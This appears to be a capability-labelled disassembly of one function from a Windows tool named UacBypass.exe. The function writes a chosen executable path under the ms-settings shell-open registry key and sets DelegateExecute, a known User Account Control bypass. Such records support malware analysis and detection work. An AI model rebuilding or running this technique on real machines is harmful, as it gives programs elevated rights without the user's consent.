Function at 0x140001230
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r15d, r15d
cmp ecx, 2
je 0x1400012a0
lea rcx, str.Usage:_UacBypass.exe__path_to_zus.exe__n
call fcn.140001010
mov eax, 1
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140001c00
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rsi, qword [rdx + 8]
lea rax, [rbp + 0xf]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 7]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400012f2
lea rcx, str.Failed_to_open_or_create_reg_key_n
jmp 0x14000126d
lea rcx, str.Reg_key:_OK._n
call fcn.140001010
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rsi + rbx*2], r15w
jne 0x140001314
movabs r14, 0x7ffffffffffffffe
cmp rbx, r14
ja 0x140001711
cmp rbx, 7
ja 0x140001360
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], 7
add rbx, rbx
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp - 0x39]
call fcn.140017240
mov word [rbp + rbx - 0x39], r15w
jmp 0x140001409
mov rax, rbx
or rax, 7
cmp rax, r14
jbe 0x1400013af
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400013df
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000170b
mov rcx, rax
call fcn.140001c20
test rax, rax
je 0x14000171d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400013e7
mov r14, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000170b
add rcx, rcx
jne 0x14000137a
mov rdi, r15
jmp 0x1400013e7
call fcn.140001c20
mov rdi, rax
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], r14
add rbx, rbx
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.140017240
mov word [rdi + rbx], r15w
mov r8, qword [rbp - 0x29]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
sub rax, r8
mov edi, 1
cmp rax, rdi
jb 0x1400014b2
lea rax, [r8 + 1]
mov qword [rbp - 0x29], rax
lea rsi, [rbp - 0x39]
cmp rcx, 7
cmova rsi, qword [rbp - 0x39]
lea rax, [0x1400207e6]
lea r14, [0x1400207e4]
cmp rax, rsi
jbe 0x14000146b
lea rax, [rsi + r8*2]
cmp r14, rax
ja 0x14000146b
cmp rsi, r14
ja 0x140001460
mov rbx, r15
jmp 0x14000146e
mov rbx, rsi
sub rbx, r14
sar rbx, 1
jmp 0x14000146e
mov rbx, rdi
lea rcx, [rsi + 2]
lea r8, [r8*2 + 2]
mov rdx, rsi
call fcn.140017240
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call fcn.140017240
lea rcx, [rsi + rbx]
mov r8d, 2
sub r8, rbx
lea rdx, [r14 + 2]
add rdx, rbx
call fcn.140017240
lea rax, [rbp - 0x39]
jmp 0x1400014c3
mov qword [rsp + 0x28], rdi
mov rdx, rdi
lea rcx, [rbp - 0x39]
call fcn.1400017a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rcx, qword [rbp - 9]
mov rdx, qword [rbp - 1]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140001527
lea rax, [rcx + 1]
mov qword [rbp - 9], rax
lea rax, [rbp - 0x19]
cmp rdx, 7
cmova rax, qword [rbp - 0x19]
mov dword [rax + rcx*2], 0x22
lea rax, [rbp - 0x19]
jmp 0x140001538
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x19]
call fcn.140001930
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x27], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x17], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x27], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x1400015a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001717
call fcn.140001c5c
movdqa xmm0, xmmword [0x140020920]
movdqu xmmword [rbp - 9], xmm0
mov word [rbp - 0x19], r15w
mov rdx, qword [rbp - 0x21]
cmp rdx, 7
jbe 0x1400015f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000171d
call fcn.140001c5c
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rcx, qword [rbp + 0x17]
mov eax, dword [rbp + 0x27]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, edi
xor r8d, r8d
lea rbx, [0x140020770]
mov rdx, rbx
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000164f
lea rcx, [0x1400207e8]
call fcn.140001010
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400016c2
lea rdx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rdx, qword [rbp + 0x17]
lea rcx, str.Reg_value:_OK._Set_to:__s_n
call fcn.140001010
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rbx
mov r9d, edi
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400016a9
lea rcx, str.Failed_to_set_DelegateExecute_value_n
call fcn.140001010
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400016c2
lea rcx, str.Reg_value:_DelegateExecute_OK._n
call fcn.140001010
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, r15d
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
jbe 0x1400016fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001705
call fcn.140001c5c
mov eax, edi
jmp 0x140001277
call fcn.14000a124
int3
call fcn.140001170
int3
call fcn.140001210
nop
call fcn.14000a124
nop
call fcn.14000a124
int3